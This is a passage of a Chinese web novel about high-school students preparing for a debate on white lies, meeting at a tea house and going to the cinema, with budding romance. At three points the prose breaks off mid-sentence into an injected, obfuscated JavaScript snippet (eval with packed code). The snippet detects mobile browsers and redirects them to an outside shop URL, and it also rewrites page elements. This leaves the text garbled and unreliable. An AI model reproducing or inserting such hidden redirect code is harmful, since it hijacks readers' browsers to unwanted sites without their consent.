黄时雨回头,看到小赵姐一脸揶揄的表情,轻轻拍了一下她的肩膀以示警告。 “干嘛呀!” 黄时雨把小赵姐推着往里走,想着得赶紧远离这个是非之地。 “等一下等一下啊,”小赵姐突然停下脚步,转身冲黄时雨扬了扬手里的文件,“我给你看个东西。” “什么啊?” 小赵姐把手里的文件拿出一份给黄时雨。 “辩论赛,你去吗?” 辩论赛对黄时雨来说太熟悉了。从初二开始,黄时雨已经陆陆续续参加了四五次辩论赛,高一那次还是和小赵姐一起的。 只不过基本都是打二辩,还没有尝试过其他位置。 黄时雨从头到尾粗略浏览了一遍,发现除了一些官方文件的套话,并没有什么实质性的内容。 “所以跟谁打啊,辩题是什么,怎么什么都没有啊?” “因为我们这三个班要组成一只队伍,所以要在这三个班内先报名,如果报名人数超过四个,就要进行选拔,选拔出来的四个人才参加校级比赛,那个时候我再去抽签,看打什么辩题,跟哪个队伍打。” “噢,这样啊,那我报名!” “来”,小赵姐把报名表直接递给黄时雨,“填吧,今天晚上之前交给我。” “这次我也要报名。” 黄时雨立刻伸出手,“又是咱俩,请多指教!” 小赵姐也伸出手,表情严肃地说,“合作愉快!” 姓名、年龄、班级…… 一到教室,黄时雨坐在座位上就开始马不停蹄地认真填表,这种报名表黄时雨见得太多了,所以从填写到完成一共就花了不到五分钟。 “我填完了,给。” 黄时雨交完表之后并没有马上离开,而是坐到了小赵姐前面的空座位上。作为辩论赛常驻选手,黄时雨觉得有必要了解一下本次比赛的新面孔的情况。 “有哪些人报名了?” 小赵姐从一叠报名表下面抽出一张名单,推到黄时雨面前,“你自己看。” 名单是按照一、二、三班的顺序排列的,黄时雨认认真真数了数,刚好八个人。 大部分人的名字黄时雨都很熟悉了,要么就是学校活动的积极分子,要么就是曾经辩论赛的对方辩友。 只有一个名字好像是第一次参加辩论赛——祝则溪。 他也要参加吗,会跟我成为队友吗,黄时雨突然对这次辩论赛产生了不同以往只在乎输赢的期待。 “行,什么时候打选拔赛啊?” “嗯……估计是月假收假来那天吧,但是后面还要跟另外两个班的文体委员商量一下。” 活动室,八位报名选手整整齐齐地坐在椅子上。 明天就要放月假了,在各班文体委员的努力下,这八位参赛选手拥有了在第一节晚自习出来讨论辩题和了解规则的机会。 负责给大家培训的是行政处的杉杉老师。 杉杉老师是一位年轻的女老师,平时主要负责各种学生活动,为人幽默风趣,跟其他行政处老师的画风很不一样,在学生中颇受欢迎。 “各位同学晚上好,我是陈杉,大家可以叫我杉杉姐。” “首先我想问一下在座的各位同学,有没有第一次接触辩论的,举手我看一下。” 同学们立刻转头寻找—— 只有祝则溪一个人慢慢举起手。 黄时雨回头,跟正坐在自己背后的祝则溪相视一笑。 “好的,那我们今天就还是把辩论的基本内容和流程再给大家讲一遍,”杉杉姐朝祝则溪点头示意,“特别是你,要认真听哦。” 祝则溪准备充足,从书包里拿出笔记本,俨然摆出了一副态度诚恳的学习劲头。 “首先,每一场辩论会有一个确定的辩题,根据这个辩题会分为两个持方,正方和反方,每一个持方包括四名辩手,正规的比赛上还会有一个替补辩手……” …… “月假收假来的第一天晚自习,我们这八名选手就进行队内赛,选出优秀的四名选手参加年级比赛。” 什么?! 真的收假来就打?! 月假期间肯定要破题啊?! 那我的欢乐谷计划怎么办?! 黄时雨虽然已经做好了欢乐谷计划要泡汤的准备,但当真正听到“官方安排”时,还是忍不住在心里长叹一口气。 “杉杉姐,那我们的辩题是什么?”黄时雨举手提问。 “我马上写下来。” 杉杉姐打开白板,选择书写模式,在白布上写下此次辩题—— 善意的谎言是/否值得提倡。 教室里立刻喧哗起来,同学们三三两两凑到一堆开始讨论。 黄时雨在心里默默把这个辩题从头到尾品读了好几遍。 “你想选哪个持方?”小赵姐凑到黄时雨旁边。 黄时雨头疼地抓了抓脑袋,开始慢慢整理自己的思路,“我个人可能会想选反方吧,因为我觉得善意的谎言虽然是从爱的视角出发,但是它本质还是一种谎言,我觉得谎言用是可以用的,但是不值得被提倡吧。” 小赵姐点头如捣蒜。 “是的,我大概也是这个思路。” “你呢,你怎么想的?” 黄时雨换了一个坐姿,侧身坐在椅子上,方便和后排同学讨论。 “我也想选反方,因为我个人还是不太赞同提倡。” 祝则溪往前探出身子,生怕黄时雨没听见。 “嗯,如果是这样的话,那我们三个可能会成为队友哦。” …… “好了,现在想选正方的同学坐到我的左手边,想选反方的同学坐到我的右手边。” 刚刚达成一致的三个人坐在原地不动,眼巴巴地期待着第四个加盟的选手。 很快,双方选手全部集齐。 新加入的这位同学是二班的,初中就和黄时雨打过几次,比较擅长输出,如果黄时雨没有记错的话,他应该还当过最佳辩手。 不过当队友还是第一次。 小赵姐双脚踩在地上,轻轻用力往后倒,让椅背靠住第二排的桌子,压低声音问—— “同学,你叫什么名字啊?” “熊毅丰。” “新队友,合作愉快,”黄时雨眼睛一亮,朝熊毅丰伸出手。 熊毅丰微微一笑,也伸出手握住,两人掌心相贴,轻轻晃了晃,像达成了某种默契的约定,“合作愉快。” 祝则溪在一旁就这么直勾勾地盯着两个人交握的双手。 他把手从桌子底下拿到桌面上,这应该算是祝则溪为此做出的最大的努力了。 他的喉咙微微发紧,指尖无意识蜷了蜷,像是想要抓住什么,却又不敢。他垂下眼睫,掩饰住那一瞬间的失落——明明是自己先选的,明明是自己先加入她的战队的。 可黄时雨在这时却移开目光,看向了祝则溪。 “合作愉快,祝则溪,”黄时雨立刻朝祝则溪伸手,毕竟每一个合作对象都应该值得珍惜。 祝则溪的心跳猛然漏了一拍。 他几乎是条件反射地抬手,却又在即将触碰的瞬间犹豫了。 最终,他只轻轻捏住了她的指尖,像是怕捏碎什么珍贵的礼物一样,克制而礼貌地握了握。 “合作愉快!” 握手结束得太快。 他收回手,指尖无意识地摩挲了一下,仿佛这样就能留住那一点残存的温度。 而黄时雨此时已经转身跟小赵姐聊了起来,浑然未觉。 “好了,那分组就刚好一边四个人,今天晚上的讨论就到这里了,大家趁这个月假好好准备一下,期待各位的精彩表现。” 满城的白天越拉越长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄时雨立刻坐到餐桌旁,也不管烫不烫,夹起一个饺子就送到嘴里,然后开始朝嘴里疯狂扇风—— “不行,我们组里有一个人是纯新手,必须要当面,否则他肯定听不懂的。” 黄爸爸和黄妈妈对视一眼,也表示理解,“这样啊,那你们这次的辩题是什么?” 黄爸爸和黄妈妈跟着黄时雨一起也了解过不少辩题了,虽然没有亲自上场过,但作为“辩手后援会”的资深成员,也算得上身经好几战了。 “善意的谎言是/否值得提倡。” “那我觉得不应该提倡,”黄妈妈突然严肃地坐到黄时雨对面,“善意的谎言在一时看来是好的,但从长远来看依然是欺骗,所以不能提倡。” “我不同意你妈说的,我觉得值得提倡,因为善意的谎言在使用时一定是为了保护别人,并不是为了自己,而是为了他人,这种能使大家更加团结友好的说话方式肯定要提倡嘛。” “你懂不懂啊,什么叫保护别人啊。” “你才不懂,谁说欺骗就一定是个贬义词呢?” 两个人忽然当着黄时雨的面争执了起来,还谁都不让的那种。 为了防止这场争执出现扩大的风险,黄时雨只好承担起和事佬的职责—— “停!” 黄时雨把手放到两人中间,做了一个停战的手势。 “已经快11点了,黄妍女士,黄曲山先生,你们这样大声说话属于扰民行为哦。” 黄时雨突然转化成标准的播报员口音。 手机弹出一个聊天框。 黄时雨点进去,是小赵姐新建的群聊。 连群聊名都改好了—— “说什么都对。” 为了避免尴尬冷场,黄时雨连发了五个表情包。 小赵姐也紧随其后。 怎么只有三个人? 黄时雨点进与小赵姐的聊天框,快速打字发消息过去。 “群里怎么才三个人啊,还有一个人呢?” 小赵姐秒回,“还有祝则溪,我没他微信,还在找别人推呢。” “好吧。” 为了避免找不到群的情况,黄时雨果断点击了“置顶”。 吃完蒸饺,黄时雨继续在书房里征战题海。 明天上午上完课就放月假了,所以有些明天没课的老师会提前把作业发下来,这样就让许多同学能在今明两天赶完月假作业。 比如,黄时雨现在写的英语作业就是这样的。 正写着,黄时雨就冷不丁碰到了一个陌生词汇——leverage。 这单词是什么意思啊,黄时雨下意识拿起手机准备上网查一查。 leverage:v. 举债经营;借贷收购;利用。 黄时雨正往英语周报上誊抄,就看到小赵姐在群里发言—— “既然人都齐了,大家说说月假里什么时候有时间吧。” 黄时雨写完单词释义,顺手就点开了微信群。 一个微信头像是卡通小男孩、微信名是“一溪”的人秒回—— “我都有时间。” 这就是祝则溪的微信?! 居然用这么可爱的Q版头像,黄时雨好奇地从头像点进去。 朋友圈里有且只有一条内容,还是两年前发的。 “给自己设计了一张头像,”配图是祝则溪站在画架前给线稿上色。 而这张画就是现在祝则溪用的Q版头像。 同时,祝则溪还在这条朋友圈下面评论了一句,“别问了,真的只画了一张。” 祝则溪朋友圈内容的观赏性实在是不高,黄时雨退出来,看到熊毅丰也回复了,自己也赶紧在群里回复,“我也都有时间。” 才放下手机读了不到一段阅读理解,小赵姐就敲定了讨论时间—— “那就后天吃完午饭咱们就出来吧,下午在我家茶楼上讨论辩题,吃完晚饭就去看电影,这个安排怎么样,大家要是有其他的想法,也可以现在提出来哦。” 小赵姐随即发来茶楼定位。 所有人一致回复:“收到!” 28. 第二十八次招惹 放月假的早上是不用上早自习的。 高中生和初中生一起,赶上八点二十到教室上第一节课就可以了。 “苗苗,中午记得跟笙笙一起出来啊,别忘了。” 得亏黄爸爸嗓门大,黄时雨都走进巷子好一会儿了,他还在车里扯着喉咙提醒。 “知道啦,黄老板快去上班!” 黄时雨转身做了一个鬼脸,然后跑进校门。 “哼,臭丫头,”黄爸爸无奈摇头。 每上完一节课,每个老师在临走时都要发一桌子卷子,仿佛放的不是两天半的月假,而是寒暑假一样。 黄时雨机械地把各科卷子分类装进试卷袋,眼睛里的色彩随着这个重复的动作一点一点消失殆尽。 “笙笙,你一会儿还回宿舍吗,还是直接跟我一起回家? 吴笙笙正用黄时雨的订书机把卷子分门别类订在一起,“应该要回一下宿舍,我要把脏的床单被套带回去洗,就不用等我了。” “等就等呗,我下午又没事,要我帮你拆床铺吗?” 黄时雨把要带的书和作业整齐地装到书包里,把整个书包撑得圆圆滚滚跟个馒头似的。 按照过往的经验,书包里的书很可能一本都翻不完,但每次放假的时候还是要整整齐齐地塞进去,主要担心的就是一个“万一”。 “不用,我已经拆好了,中午去取就行。” 教室里的钟表是上次阶段性考试刚刚调过的准确时间,上面显示,还有最后十分钟就解放了。 教室里早已没有学习状态,似乎已经提前进入了某种躁动之中。 坐在后门门口的蒲杰甚至已经背上了书包,一条腿踩在后门门框上,仿佛只要铃声一响,就要向外发射。 “十、九、八……” 蒲杰率先开始倒计时,很快,全班同学都加入到这场“狂欢倒计时”中。 同学们声音不大,却饱含感情,为那个“即将到来”的瞬间心跳加速—— “五、四、三、二、一!” “放假咯!” “走咯走咯!” “后天晚自习见!” 教室里瞬间炸开锅,好多人把书包往肩上一扔,踩着铃声、头也不回地冲出教室。 不到三分钟,除了扫地的同学,人都走光了。 “你这个月假准备去哪玩,上次考那么好,应该有奖励吧?” 黄时雨陪着吴笙笙往宿舍走,从兜里拿出早上在学校门口小卖部买笔时顺手买的棒棒糖,塞给吴笙笙。 自己撕开包装纸,是葡萄味的,黄时雨的最爱。 “本来打算去欢乐谷的,现在因为月假收假当天的晚自习就要打辩论赛,所以为了讨论辩题,哪里都去不了了。” “嘿!” 卜佳突然从后面搂住黄时雨和吴笙笙的肩膀,从两人中间探出头来。 “妈呀,你吓我一跳,”黄时雨摸了摸受惊的小心脏,“你也回宿舍?” “嗯,”卜佳的回答语气上扬,“这什么棒棒糖,我也要吃。” 看到黄时雨在掏兜,卜佳直接摊开双手等待投喂。 “给,橘子味的。” 放月假收拾寝室,整理换洗的衣服和床单是住校生的标配,黄时雨既怕挡住了上下楼搬东西的同学,也怕一会儿吴笙笙下楼之后半天找不到自己,只好贴着楼梯站在上楼拐角处,这个视角抬眼就能看到下楼的人。 黄时雨抿着棒棒糖,无聊地看着上上下下的人,仿佛自己的悠闲不能和这里的忙碌融为一体。 偶尔有同学手里东西太多,黄时雨就上前帮个忙,换得几句感谢。 “哎呀,”黄时雨突然感觉左边身子一阵冰凉,转头一摸半截身子都湿了,水珠沿着衣角流到裤子上,在浅白色裤子表面显得格外打眼。 “噢,对不起对不起,我不是故意的,不好意思不好意思……” 这个女生手里正端着一个用来打扫卫生的大盆子,只不过一半的水还在盆子里。一半的水在黄时雨身上。 看到自己闯了祸,女生语无伦次地连连道歉,低着头不敢看黄时雨,“那个……你的衣服……我不是,真的抱歉……” “没关系没关系,”毕竟谁都不是故意的,黄时雨也不希望别人为此背上心理负担,连忙摆手,“夏天嘛,很快就干了。” “你快去打扫宿舍吧,我没事的,快去,”黄时雨安抚地拍拍女生的肩膀,把她往楼上推。 “噢好,”女生往上跑了几步,又转身道歉,“真是不好意思啊。” 黄时雨捏住衣角,轻轻一拧,手上就湿漉漉的,这架势估计还一时半会儿还真干不了。 现在又过了中午十二点,宿舍的水电也都关了,黄时雨稍微一动身上都有水珠往下流,想跑上六楼找吴笙笙借件衣服穿也是天方夜谭。 黄时雨只好尴尬地往阳光下挪,企图借助灿烂的阳光快速吸收掉衣服上多余的水分。 黄时雨正抬头寻找阳光直射的方向,就看到祝则溪从教学楼方向过来,于是立刻抬手冲他打招呼。 他原本平静的脸上霎时间浮现出难得的笑容,一如今天的天气。 祝则溪逆着阳光跑过来,衣服被风吹鼓,像一片被阳光晒透的帆,在黄时雨的视线中渐渐清晰。 最终停在黄时雨面前时,黄时雨才注意到祝则溪额前的碎发似乎有段时间没剪了,稍微有点遮眼,由于惯性作用还在轻轻晃动。 “又在等吴笙笙吗?” “对啊,”黄时雨下意识抬起左手想整理一下书包带子,衣服上湿哒哒的一片霎时间一览无余。 祝则溪弯腰凑近,偏头仔细观察,“衣服打湿了?” 不等黄时雨回答,祝则溪和送生日礼物那天一样,不由分说地拉起黄时雨的手腕,把她拉到了一楼的“公共物品借用室”门口。 祝则溪轻轻推开门。 这个房间里摆放着好多生活用品,什么梳子、蚊香液、扫帚、刷子,还有各种大小的盆子都能找到,活脱脱就是一个百宝箱。 “这些是都是公共物品吗?”黄时雨好奇地到处打量。 祝则溪正在蹲下身,忙着找吹风机。 虽然门口的告示上明确写着“用完请放回原位”几个大字,但还是有好多人为了图方便就随便一搁,下一个人要用的时候,就跟玩捉迷藏一样,找半天都找不到在哪儿。 “嗯,我找吹风机帮你把衣服吹一下。” “可是宿舍现在不是已经断水断电了吗?” 黄时雨以为祝则溪忘记了,好心提醒。 “找到了,”祝则溪拿起吹风机,插好电,招手让黄时雨过去,“这个房间不会停的,可以用来应急。” 这台吹风机感觉年纪不小了,出风的时候还有点卡顿,一股一股的风总是来得猝不及防。 祝则溪调了三个档位,分别用手背试了试温度,确认温度合适才蹲下来,用另一只手轻轻捏起黄时雨的衣角,避免衣服贴着身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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衣服裤子基本已经吹干了,祝则溪撑着腿站起来,把吹风机线收到一起,放到原处。 “操心什么?” 黄时雨跟着祝则溪走出去,把门轻轻带上。 “操心自己的成绩吧,最近有点下滑。” 祝则溪说着说着开始忍不住叹气,“我就是一个特别特别普通的人,再怎么努力成绩也不能提得很高,但只要稍微一松懈,就能往后倒退好几个水平,就好像我之前付出的所有努力都从来没有存在过一样。” “祝则溪,你愿意相信我说的话吗?”黄时雨急忙停下脚步,打断祝则溪的自怨自艾。 “愿意。” “好,”黄时雨看着祝则溪的眼睛,那种热烈的、真诚的眼神牢牢抓住了祝则溪的每一个感官,“那我告诉你,每个人都有自己擅长的领域,你的美术天赋,你做手工的能力,你很细心、认真、对朋友很真诚,对生活有着细致入微的观察和记录,这些不是成绩一般这一个词就能概括的!” 祝则溪的内心像是被什么东西击中,一瞬间变得柔软,半响才吐出三个字,“真的吗?” “真的真的,我黄时雨从来不骗人,都是实话实说哦!” 祝则溪曾无数次陷入怀疑,怀疑自己是否不应该出生,否则不会夺去母亲的生命;怀疑自己是否不应该产生依赖,否则不会耽误小姨的人生进程;怀疑自己是否不应该学习美术,否则不会陷入文化课成绩的焦虑深渊;怀疑自己是否不应该接近黄时雨,否则如果有一天她发现自己其实并不好,甚至对她别有用心该怎么办? 但所有的这一切胡思乱想,都被黄时雨的一句“真的真的”掩盖住了。 她愿意相信他很好,很棒,很值得,就像祝则溪相信黄时雨的未来一定鲜花满地,坦荡无忧。 29. 第二十九次招惹 坐在书桌前,黄时雨一个字都看不进去。拉开窗帘,对面那位“学伴”也不见踪影。 黄时雨不断提醒自己不要再去想白天的事了,脑子里却还是静不下来,有一个疑问始终在黄时雨的脑海里盘旋—— 到底什么是喜欢,我对祝则溪是喜欢吗? 这大概就是躲不过的“少女情愫”吧。 在语文卷子上回答各种阅读理解对答如流,在面对自己的感情问题时却束手无策,这大概就是所谓的“医者难自医”。 冥思苦想无果,黄时雨打开了手机浏览器。 “喜欢一个人是什么感觉?” 黄时雨随便点进了第一条回复—— “喜欢一个人就是,在见面时会心跳加速、面红耳赤;在见不到时会思念对方,始终牵挂。这种感情既甜蜜又苦涩,既幸福又痛苦。” 黄时雨仔细品读着这几句话,有点复杂,甚至还有点抽象。 我见到他的时候,会觉得他挺帅的;见不到他的时候,在家里会有对面的“学伴”陪我学习,也不会思念他……至于甜蜜又苦涩,幸福又痛苦的感觉,应该也是没有的吧…… 黄时雨把和祝则溪相处的一桩桩、一件件事在脑海里像播放器一样过了一遍,在经过一帧一帧的细致品读后,最终得出结论—— 黄时雨不喜欢祝则溪。 太好了,黄时雨终于松了一口气,还是没有情感负担最好,这样才能像朋友一样自然地相处。 也许是这段时间神经太紧绷了,黄时雨的头一沾枕头就困得不行,直接进入深度睡眠状态。 “叮——” 黄时雨从睡梦中惊醒。 上学时,为了使自己能够准时醒来,黄时雨是个狠人,专门把学校的上课铃当作起床闹钟,这样虽然会吓得一激灵,但是胜在威力强大。 只不过昨天晚上忘了关闹钟,让这个本不需要早起的清晨也被迫提前开张了。 黄时雨带着怨气把被子蒙到头上,想着借助被子里的暖和劲儿再睡一会儿。 没想到这一会儿,就是两个多小时过去了。 黄时雨翻身一看手机,天哪,都快十点了。 快速穿好睡衣,黄时雨走出房间,家里竟然一个人都没有。只有餐桌上放着一张A4白纸—— “苗苗,爸爸妈妈今天要去参加妈妈同事的婚礼,婚礼地点稍微有点远,所以就走得早了一点,厨房里有粥和蒸蛋,你记得吃,中午就煮些饺子吃吧,冰箱里有。” 最后还附带了一个爱心。 黄时雨去厨房把早餐盛出来,放到餐桌上,边吃边看手机。 小赵姐在群里发消息,“下午两点,记得准时哦。” 黄时雨秒回,“必须滴!” 祝则溪和熊毅丰也紧随其后。 黄时雨点进小赵姐发的茶楼定位,茶楼名字叫“笑然而过”。 还是根据小赵姐的名字来取的,“赵然”“笑然而过”,挺好听的。 这个位置,坐三路公交车正合适,在“津湖大道北段”站下车就到了。 黄时雨不怎么会做饭,从冰箱里拿出之前冻好的饺子出来煮熟,又随便下了一把青菜,就这样一顿简单的午饭就草率完成了。 家里没人管着,黄时雨就把饭端到茶几上,打开电视,悠悠闲闲地吃着。 一顿饭吃了快四十分钟。 “遭了遭了,要搞快点了,”黄时雨看了一眼时间,还剩四十分钟就到两点了,“怎么看起来时间挺充裕的,这么快就要到了?!” 看来,一个习惯卡点的人做什么事情都是如此。 在卧室换好昨天晚上就提前拿出来的白色裙子和黄色针织衫,快速把头发挽成丸子头,跨上斜挎包就飞奔下楼。 今天天气不错,是黄时雨最喜欢的阴天。 不过没有阳光的渲染,街道两边的花草都显得黯淡了几分,像是被这沉闷的天气抽走了生机。 公交车站到黄时雨家大概要走五分钟,不过距离不是最重要的,最重要的是满城的公交车真的太不准时了,有时候能看到一辆接一辆的公交车,有时候二十多分钟都等不来一趟。 诶,那不是祝则溪吗? 他穿着一件黑白条纹的冲锋衣外套,一条偏深绿色的工装裤,正坐在公交站台前,挺直脊背斜靠在后面的广告牌上,头也不抬地看手机。 黄时雨三步并作两步跑过去。 “祝则溪,你怎么在这里等公交啊,你不是住在吴笙笙家附近吗?” 祝则溪闻言抬头,脸上依然是不浅的笑意,仿佛在这里碰到黄时雨并不是多么值得大惊小怪的事。 “对,我今天来我亲戚家吃午饭,所以就直接从这里出发了。” “这样啊,”黄时雨顺势在祝则溪身边的空位坐下。 “那你在这等了多久了?” “没多久,我也才刚到,”听到喇叭声,祝则溪探头看向公交车来的方向,突然眼睛一亮,“来了,准备上车。” 祝则溪走在前面,往投币口里扔了两块钱。 黄时雨跟着祝则溪往后走,“你想坐里面还是外面?” “里面吧,我怕晕车,”黄时雨钻到靠窗的座位上坐好。 “刚刚谢谢你帮我付钱了。” “不用谢,一块钱而已。” 黄时雨又从包里拿出脆脆鲨递给祝则溪,“这个给你吃吧。” 祝则溪接过时,忍不住笑,“你好像很喜欢吃这个,而且只吃巧克力味的。” 黄时雨已经撕开包装吃上了,“对啊,其他味道都不好吃,而且我想把我喜欢的都分享给你们。” 祝则溪没有要吃的意思,而是默默放进了书包里。 “你怎么不吃啊,你要是喜欢的话,我还有啊。” 黄时雨把自己的包拉开给祝则溪看—— 里面除了一个笔记本,一支笔,一副耳机,一把钥匙,就全是散装的脆脆鲨了。 “你是搞批发的吗?” 祝则溪脸上的笑意忍不住加深。 一个看起来鼓鼓囊囊的小包,里面却塞满了吃的。 黄时雨也跟着笑起来,“算是吧。” 这还是黄时雨第一次见到祝则溪露齿笑,他笑的时候很好看,那双桃花眼一笑起来就会变成一条缝,但他每次总会边笑边把视线转移到别处去,像是害怕被别人发现什么秘密。 “前方到站:津湖大道北段,请本站下车的乘客带好随身物品下车,欢迎再次乘坐公交车。” 公交车播报声准时响起。 公交站的对面就是“笑然而过”茶楼。 走到茶楼门口,黄时雨低头看了一眼手机上的时间,“1:54”。 还好还好,没有迟到,黄时雨甚是满意。 “进来吧,我们坐二楼,”小赵姐坐在柜台招呼黄时雨和祝则溪进去,俨然就是一副小老板的样子。 跟着小赵姐进入二楼包间,熊毅丰已经提前在里面等着了。 小赵姐自然地坐到熊毅丰旁边,黄时雨和祝则溪坐到另一边。 “看看,想喝什么?” 小赵姐指着压在透明桌板下的茶单,又补充道,“点点贵的,反正免费,无限续杯。” 黄时雨不常进茶楼,也不太懂各种茶之间有什么区别,最终选了一个比较熟悉的花茶—— “那我要一杯茉莉花茶。” “我也是,”祝则溪立刻接话。 小赵姐会意地点点头,拉开包间帘子,招手让吧台服务员过来。 “我们再要两杯茉莉花茶。” “你们觉得这个辩题难打吗?” 熊毅丰翻开笔记本,拿着红笔在手上转得飞起。 “还好吧,我觉得正反两方反正都能说,能探讨的空间也挺大的,整场辩论最关键的就是对提倡这个词的解读。” “那我们还是老规矩,先破题吧。” 祝则溪是这桌里的唯一新手,一直在一旁赞许地附和。 “我认为,善意的谎言中的善意,指的是讲这一句谎言的人的出发点是善的,但是对于接受者来说,这句谎言是否是善,我们不得而知或者不能完全确定,所以不能提倡,”黄时雨率先发言。 “对,而且我认为,既然是一种谎言,那么它就有可能会被识破,这个时候,这个谎言的承受者就既要承受事件的真相,又要承受被欺骗的伤痛,这就有可能对承受者造成更大的伤害,”熊毅丰继续补充。 “不对,你不能确定什么时候被识破啊,万一是这个事情过去很久很久之后才被识破的呢,谎言的承受者已经走出了当年事件的阴影,没准还会感谢那个讲善意的谎言的人。” 祝则溪不说就不说,一开口就直击痛点,提出了关于时间先后与谎言影响程度的重要论点。 小赵姐头摇得像拨浪鼓,“可是你都说了没准啊,人家在讲善意的谎言的时候并不能预测未来,你不能因为一个可能的好处就让一个人处于一种不稳定的状态当中,这就是不负责啊。” …… 三个多小时的讨论,黄时雨虽然不是一辩,但还是把每个人提出的论点都原原本本地记在笔记本上。 杯子里的水续了一杯又一杯,大家讨论的声音也从最开始的冷静状态逐渐变成躁动状态。 几乎每隔二十分钟就需要暂停冷静一下。 “好了,那现在我们就讨论了差不多八个论点。” 黄时雨把笔记本立起来给大家看自己写的笔记—— “我觉得七和八不能算单独的论点,只能算做前面论点的推论;一和五是可以保留的,写到一辩稿里没问题;二和三合成一个论点,然后四和六合成一个论点,大家赞同吗?” “赞同!” 这场辩论讨论至此完美落幕,窗外的天光也逐渐渲染上黄昏的颜色,倒映在玻璃桌面上提醒各位晚餐时间到。 这家茶楼还有简餐,小赵姐招呼吧台服务员做了几份简单的意面。 看起来卖相一般的意面,吃起来居然还挺不错的。 “小赵姐,我们的电影几点开始啊?”这个电影开场时间对黄时雨特别重要,直接决定了黄时雨吃饭速度的快慢。 “我看看啊,”小赵姐点开购票记录,“七点二十。” “时间足够,可以慢慢吃,”祝则溪似乎能读懂黄时雨的小心思,一下子就理解了她的言外之意。 到达电影院时,才刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619099|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七点。 三个人跟在小赵姐后面,等她取票,像小跟班一样。 今天是周末,本来人就多,再加上新上映了好几部动画电影,整个大厅里都是小孩子在到处乱窜,有些小孩跑得快,家长害怕出事,也跟在后面跑,完全就是“老鹰捉小鸡”真人版。 “给,”小赵姐取完票,低头认真检查了几遍,然后才把票交到每个人手中。 “大家都是第七排吗,”一个小孩跑过去差点撞到黄时雨,还好她躲得及时。 小赵姐和熊毅丰相视一笑,两个人一起摇头。 “我们俩是第十二排,你们俩是第七排。” 黄时雨转头看向祝则溪,但他好像也是一脸懵。 “没什么,因为买票的时候没有四人连坐的,所以就分开了嘛,别多想,”小赵姐推着黄时雨走向休息区,转身冲祝则溪颇有深意地眨了一下眼。 祝则溪感激地点头,嘴角流露出不经意的微笑。 这场人是真的多,黄时雨还从来没有见过上座率这么高的电影。 四个人在第七排处分开,黄时雨和祝则溪猫着腰一步一句“不好意思”才终于坐到了自己的座位上。 这个视野正正好,刚好在屏幕的正中央,不偏不倚。 “祝则溪,你觉不觉得,小赵姐和熊毅丰有点什么问题?” 祝则溪心里一惊,难道她这么快就看出来了? 不应该啊,明明自己这一天都表现得很自然、很正常啊。 “我没觉得啊,我感觉很正常,”祝则溪假装低头看手机,努力掩饰自己的慌乱。 黄时雨压低声音继续凑近,“就是那种问题,你不觉得他们俩之间有一些火花吗?” 祝则溪悬着的心瞬间收回肚子里,原来她想成了这个。 祝则溪跟着黄时雨一起转头,刚好看到后面两个人正低着头有说有笑。 黄时雨笃定地一拍手,“你看吧,这就是证据,专门把我俩跟他们分开,就是想两个人单独坐在最后一排!” 祝则溪忍不住笑出声,又努力克制住,“也许吧,电影快开始了。” 祝则溪无奈地将黄时雨强行扭过来。 看到中途,祝则溪想转过头去看看这一场有没有坐满。 刚准备转头,就被黄时雨拉住胳膊,“你别看了,小心一会儿尴尬的是你!” 祝则溪又好气又无奈,只得作罢,老老实实地盯着前面的屏幕。 行吧,只要没猜到是祝则溪在背后捣鬼,随便怎么误会都行。 黄时雨的手机忽然震动了一下。 [黄曲山:苗苗,看电影结束了吗,爸爸开车来接你哈。] 家里人害怕黄时雨的手机丢了或者被别人捡到,实施诈骗之类的,专门把她手机里的所有联系人全部改成了全名。 黄时雨急忙调低亮度,才打字回复—— [爸爸,还没结束,大概还有半个小时。] 黄时雨放下手机,用胳膊推了推正看得入迷的祝则溪,“一会儿我爸爸要来接我,要不也顺路送你回家吧。” 祝则溪张张嘴,刚想推辞。 “这是安排,不是询问,不接受拒绝,”黄时雨斩钉截铁地说,不给祝则溪一点思考和反抗的机会。 头顶的灯忽然亮起,所有人从电影编织的梦境中苏醒过来。 跟小赵姐和熊毅丰打过招呼后,黄时雨和祝则溪顺着人流从二楼下到一楼。黄爸爸正靠在车旁边挥手,黄时雨一眼就注意到了。 所有人都在黄时雨的眼前来来往往,脚步从不停留,只有父母在的方向,才是永不关停的港湾。 “爸爸!” 黄时雨拉着祝则溪的手腕快步走过去。 “这是我同学,叫祝则溪,之前帮我搬宿舍那个,我们今天顺路送一下他吧。” “叔叔好,待会儿就麻烦你了,”祝则溪有礼貌地鞠躬。 “哎哟,太客气了小祝同学,上车上车,”黄爸爸热情地招呼两人上车。 两个人一起坐在后排。 “爸爸,他就住笙笙家那边。” “那很近嘛,顺路顺路。” 黄时雨明显感觉到祝则溪有些不自在,还有些拘谨。 他坐得笔直,眼神到处飘来飘去,手指曲着抚摸书包带子,像是在缓解紧张。 黄时雨轻轻拍了一下爸爸的座椅靠背—— “爸爸,要不放首歌吧,就放你手机里的。” 也许音乐是最好的放松方式,能帮助祝则溪快速适应这个陌生的环境。 “好。” 黄爸爸的手机里都是些老歌,连2000年之后的歌曲都找不到几首,黄时雨一直很嫌弃。只是今天,实在想不到别的解决方法了,凑合着听一听也无妨。 黄时雨听的老歌很少,而且就算听过,也基本只听过高潮部分。比如现在这首,黄时雨听了半天也没想起是什么歌,直到副歌部分的旋律钻进耳朵—— “喜欢看你紧紧皱眉” “叫我胆小鬼” 